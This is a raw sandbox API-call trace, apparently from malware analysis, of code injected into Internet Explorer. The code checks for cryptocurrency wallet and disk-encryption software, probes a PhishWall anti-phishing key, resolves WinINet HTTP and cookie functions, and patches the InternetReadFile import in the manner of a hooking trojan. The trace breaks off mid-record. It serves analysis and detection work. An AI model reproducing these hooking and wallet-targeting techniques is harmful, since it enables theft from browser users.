[0064.838] lstrcmpiA (lpString1="ExitProcess", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="TlsGetValue", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="TlsAlloc", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="TlsSetValue", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="TlsFree", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="SetHandleCount", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetStdHandle", lpString2="CreateProcessW") returned 1 [0064.838] lstrcmpiA (lpString1="GetFileType", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetStartupInfoA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetModuleFileNameA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="FreeEnvironmentStringsA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetEnvironmentStrings", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="FreeEnvironmentStringsW", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetEnvironmentStringsW", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="HeapCreate", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="VirtualFree", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="UnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="OutputDebugStringA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetCPInfo", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetOEMCP", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="CreateFileA", lpString2="CreateProcessW") returned -1 [0064.839] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="VirtualAlloc", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="SetFilePointer", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetConsoleCP", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetConsoleMode", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="LCMapStringA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="LCMapStringW", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetStringTypeA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetStringTypeW", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetLocaleInfoA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="SetStdHandle", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="WriteConsoleA", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetConsoleOutputCP", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="WriteConsoleW", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="VirtualProtect", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetSystemInfo", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="VirtualQuery", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="GetProcessDefaultLayout", lpString2="CreateProcessW") returned 1 [0064.839] lstrcmpiA (lpString1="CharLowerW", lpString2="CreateProcessW") returned -1 [0064.839] lstrcmpiA (lpString1="SetWindowPos", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="GetParent", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="ClientToScreen", lpString2="CreateProcessW") returned -1 [0064.840] lstrcmpiA (lpString1="GetWindowLongW", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="GetClientRect", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="GetWindowRect", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="ReleaseCapture", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="GetCapture", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="WaitMessage", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="PtInRect", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="DispatchMessageW", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="TranslateMessage", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="CallMsgFilterW", lpString2="CreateProcessW") returned -1 [0064.840] lstrcmpiA (lpString1="PeekMessageW", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="IsWindow", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="SetCapture", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="MapWindowPoints", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="SetRect", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="GetSystemMetrics", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="SystemParametersInfoW", lpString2="CreateProcessW") returned 1 [0064.840] lstrcmpiA (lpString1="RegisterWindowMessageW", lpString2="CreateProcessW") returned 1 [0064.840] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x77310000, lpBuffer=0x26fd14, dwLength=0x1c | out: lpBuffer=0x26fd14*(BaseAddress=0x77310000, AllocationBase=0x77310000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0064.840] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x26fccc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x26fccc, ReturnLength=0x0) returned 0x0 [0064.841] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e918 [0064.841] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x278f298, nSize=0x104 | out: lpFilename="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x35 [0064.841] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.841] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="electrum-") returned 0x0 [0064.841] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.841] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="bitcoin") returned 0x0 [0064.841] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.841] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="multibit-hd") returned 0x0 [0064.841] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.841] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="bither") returned 0x0 [0064.841] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.841] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="msigna.") returned 0x0 [0064.841] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.841] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="Jaxx.") returned 0x0 [0064.841] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.841] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="JEdudus.") returned 0x0 [0064.842] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.842] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="armory-") returned 0x0 [0064.842] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.842] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="veracrypt") returned 0x0 [0064.842] GetProcAddress (hModule=0x76d00000, lpProcName="StrStrIW") returned 0x76d146e9 [0064.842] StrStrIW (lpFirst="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe", lpSrch="truecrypt") returned 0x0 [0064.842] LoadLibraryA (lpLibFileName="WININET.DLL") returned 0x768e0000 [0064.842] GetProcAddress (hModule=0x75220000, lpProcName="RegOpenKeyExA") returned 0x75234907 [0064.842] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\SecureBrain\\PhishWall", ulOptions=0x0, samDesired=0x20219, phkResult=0x26fd18 | out: phkResult=0x26fd18*=0x0) returned 0x2 [0064.842] LoadLibraryA (lpLibFileName="ieframe") returned 0x73c80000 [0066.711] LoadLibraryA (lpLibFileName="ieui") returned 0x74950000 [0067.381] LoadLibraryA (lpLibFileName="mshtml") returned 0x73500000 [0068.867] LoadLibraryA (lpLibFileName="inetcpl.cpl") returned 0x73270000 [0071.981] LoadLibraryA (lpLibFileName="ieapfltr") returned 0x72a20000 [0073.478] LoadLibraryA (lpLibFileName="urlmon") returned 0x756b0000 [0073.478] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x768e0000 [0073.478] GetProcAddress (hModule=0x768e0000, lpProcName="InternetWriteFile") returned 0x769146da [0073.478] GetProcAddress (hModule=0x768e0000, lpProcName="InternetCanonicalizeUrlA") returned 0x7695a787 [0073.478] GetProcAddress (hModule=0x768e0000, lpProcName="FindFirstUrlCacheEntryA") returned 0x7690d8ca [0073.478] GetProcAddress (hModule=0x768e0000, lpProcName="HttpEndRequestA") returned 0x769145ea [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="HttpSendRequestW") returned 0x7690ba12 [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="InternetQueryOptionA") returned 0x768f1b56 [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="InternetReadFileExW") returned 0x7692ae0e [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="FindCloseUrlCache") returned 0x76928409 [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="InternetOpenA") returned 0x7690f18e [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="InternetConnectA") returned 0x769049e9 [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="InternetSetOptionA") returned 0x768f75e8 [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="HttpOpenRequestA") returned 0x76904c7d [0073.479] GetProcAddress (hModule=0x768e0000, lpProcName="HttpSendRequestA") returned 0x769718f8 [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="InternetReadFile") returned 0x768fb406 [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="InternetSetStatusCallback") returned 0x7690933e [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="HttpAddRequestHeadersA") returned 0x768fdcd2 [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="InternetCloseHandle") returned 0x768fab49 [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="InternetQueryOptionW") returned 0x768f7ed7 [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="HttpOpenRequestW") returned 0x76904a42 [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="HttpQueryInfoA") returned 0x768fa33e [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="InternetGetCookieA") returned 0x76972c90 [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="InternetReadFileExA") returned 0x7692ae46 [0073.480] GetProcAddress (hModule=0x768e0000, lpProcName="FindNextUrlCacheEntryA") returned 0x7690da09 [0073.481] GetProcAddress (hModule=0x768e0000, lpProcName="DeleteUrlCacheEntry") returned 0x769259e8 [0073.481] GetProcAddress (hModule=0x768e0000, lpProcName="InternetQueryDataAvailable") returned 0x76905e5d [0073.481] GetProcAddress (hModule=0x768e0000, lpProcName="HttpSendRequestExA") returned 0x76971812 [0073.481] GetModuleHandleA (lpModuleName="WININET.DLL") returned 0x768e0000 [0073.481] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0x30) returned 0x278e918 [0073.481] lstrcmpA (lpString1="CommitUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="CommitUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="CreateMD5SSOHash", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="CreateUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="CreateUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="CreateUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="CreateUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="CreateUrlCacheGroup", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DeleteIE3Cache", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DeleteUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DeleteUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DeleteUrlCacheEntry", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DeleteUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DeleteUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DeleteUrlCacheGroup", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DeleteWpadCacheForNetworks", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DetectAutoProxyUrl", lpString2="InternetReadFile") returned -1 [0073.481] lstrcmpA (lpString1="DispatchAPICall", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="DllInstall", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindCloseUrlCache", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindFirstUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindFirstUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindFirstUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindFirstUrlCacheEntryExA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindFirstUrlCacheEntryExW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindFirstUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindFirstUrlCacheGroup", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindNextUrlCacheContainerA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindNextUrlCacheContainerW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindNextUrlCacheEntryA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindNextUrlCacheEntryExA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindNextUrlCacheEntryExW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindNextUrlCacheEntryW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FindNextUrlCacheGroup", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="ForceNexusLookup", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="ForceNexusLookupExW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FreeUrlCacheSpaceA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FreeUrlCacheSpaceW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpCommandA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpCommandW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpCreateDirectoryA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpCreateDirectoryW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpDeleteFileA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpDeleteFileW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpFindFirstFileA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpFindFirstFileW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpGetCurrentDirectoryA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpGetCurrentDirectoryW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpGetFileA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpGetFileEx", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpGetFileSize", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpGetFileW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpOpenFileA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpOpenFileW", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpPutFileA", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpPutFileEx", lpString2="InternetReadFile") returned -1 [0073.482] lstrcmpA (lpString1="FtpPutFileW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="FtpRemoveDirectoryA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="FtpRemoveDirectoryW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="FtpRenameFileA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="FtpRenameFileW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="FtpSetCurrentDirectoryA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="FtpSetCurrentDirectoryW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheConfigInfoA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheConfigInfoW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheEntryInfoA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheEntryInfoExA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheEntryInfoExW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheEntryInfoW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheGroupAttributeA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheGroupAttributeW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GetUrlCacheHeaderData", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherCreateLocatorA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherCreateLocatorW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherFindFirstFileA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherFindFirstFileW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherGetAttributeA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherGetAttributeW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherGetLocatorTypeA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherGetLocatorTypeW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherOpenFileA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="GopherOpenFileW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpAddRequestHeadersA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpAddRequestHeadersW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpCheckDavCompliance", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpEndRequestA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpEndRequestW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpOpenRequestA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpOpenRequestW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpQueryInfoA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpQueryInfoW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpSendRequestA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpSendRequestExA", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpSendRequestExW", lpString2="InternetReadFile") returned -1 [0073.483] lstrcmpA (lpString1="HttpSendRequestW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="IncrementUrlCacheHeaderData", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetAlgIdToStringA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetAlgIdToStringW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetAttemptConnect", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetAutodial", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetAutodialCallback", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetAutodialHangup", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCanonicalizeUrlA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCanonicalizeUrlW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCheckConnectionA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCheckConnectionW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetClearAllPerSiteCookieDecisions", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCloseHandle", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCombineUrlA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCombineUrlW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetConfirmZoneCrossing", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetConfirmZoneCrossingA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetConfirmZoneCrossingW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetConnectA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetConnectW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCrackUrlA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCrackUrlW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCreateUrlA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetCreateUrlW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetDial", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetDialA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetDialW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetEnumPerSiteCookieDecisionW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetErrorDlg", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetFindNextFileA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetFindNextFileW", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetFortezzaCommand", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetGetCertByURL", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetGetCertByURLA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetGetConnectedState", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetGetConnectedStateEx", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetGetConnectedStateExA", lpString2="InternetReadFile") returned -1 [0073.484] lstrcmpA (lpString1="InternetGetConnectedStateExW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetCookieA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetCookieExA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetCookieExW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetCookieW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetLastResponseInfoA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetLastResponseInfoW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetPerSiteCookieDecisionW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetSecurityInfoByURL", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetSecurityInfoByURLA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGetSecurityInfoByURLW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGoOnline", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGoOnlineA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetGoOnlineW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetHangUp", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetInitializeAutoProxyDll", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetLockRequestFile", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetOpenA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetOpenUrlA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetOpenUrlW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetOpenW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetQueryDataAvailable", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetQueryFortezzaStatus", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetQueryOptionA", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetQueryOptionW", lpString2="InternetReadFile") returned -1 [0073.485] lstrcmpA (lpString1="InternetReadFile", lpString2="InternetReadFile") returned 0 [0073.485] VirtualProtect (in: lpAddress=0x768e2a90, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x26fc6c | out: lpflOldProtect=0x26fc6c*=0x20) returned 1 [0073.485] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x27889f8 [0073.486] RtlAllocateHeap (HeapHandle=0x2390000, Flags=0x0, Size=0xc) returned 0x278f4a8 [0073.486] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x27889f8 | out: hHeap=0x2390000) returned 1 [0073.486] HeapFree (in: hHeap=0x2390000, dwFlags=0x0, lpMem=0x278f4a8 | out: 